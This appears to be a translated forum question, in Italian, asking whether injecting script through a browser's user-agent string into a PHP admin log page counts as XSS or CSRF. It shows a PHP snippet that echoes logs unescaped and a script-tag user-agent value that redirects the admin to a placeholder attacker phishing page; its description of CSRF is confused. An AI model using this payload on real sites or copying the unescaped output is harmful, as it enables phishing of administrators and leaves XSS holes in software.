Ho letto diversi libri sulla sicurezza di PHP, ma dopo averne letto uno mi sono confuso sulla definizione di CSRF (Cross-Site Request Forgery). Wikipedia lo spiega così:
Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.
Normalmente questo exploit riguarda l'invio di due richieste, una per ottenere un token e l'altra per ottenere un token da ripristinare, ad esempio un account amministratore. Ad esempio, sfruttando la vulnerabilità in cui un sito Web genera token di entropia deboli utilizzando per esempio mt_srand()
. Giusto?
E se un sito web registra quale browser stai utilizzando raccogliendo la stringa user_agent? Per esempio: AdminPanel.php:
<?php
$browser = $_SERVER['HTTP_USER_AGENT'];
addToLog($browser);
$logs = getAllLogs();
echo $logs;
?>
Normalmente questo ritorno:
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0
Ma potrei modificare la mia stringa user-agent in Firefox:
+----------------------------+----------+--------+-----------------------------------------------------------------------------------------------------+
| general.useragent.override | user set | string | <script>window.location.replace('http://myHackerServer.com/fakeAdminPageForPhishing.php');</script> |
+----------------------------+----------+--------+-----------------------------------------------------------------------------------------------------+
In questo modo il codice Javascript verrebbe eseguito sul pannello di amministrazione. In questo modo, puoi sfruttare l'XSS quando l'amministratore registra le stringhe utente degli utenti e poi controlla in seguito.
Ma questo XSS o CSRF? Voglio dire, il sito web si fida del browser dell'utente per contenere valori validi. Come dice Wikipedia. Non è necessario fidarsi di "input dell'utente" come in XSS. Sono confuso da ciò che CSRF è, ho visto un sacco di definizioni diverse.
Grazie.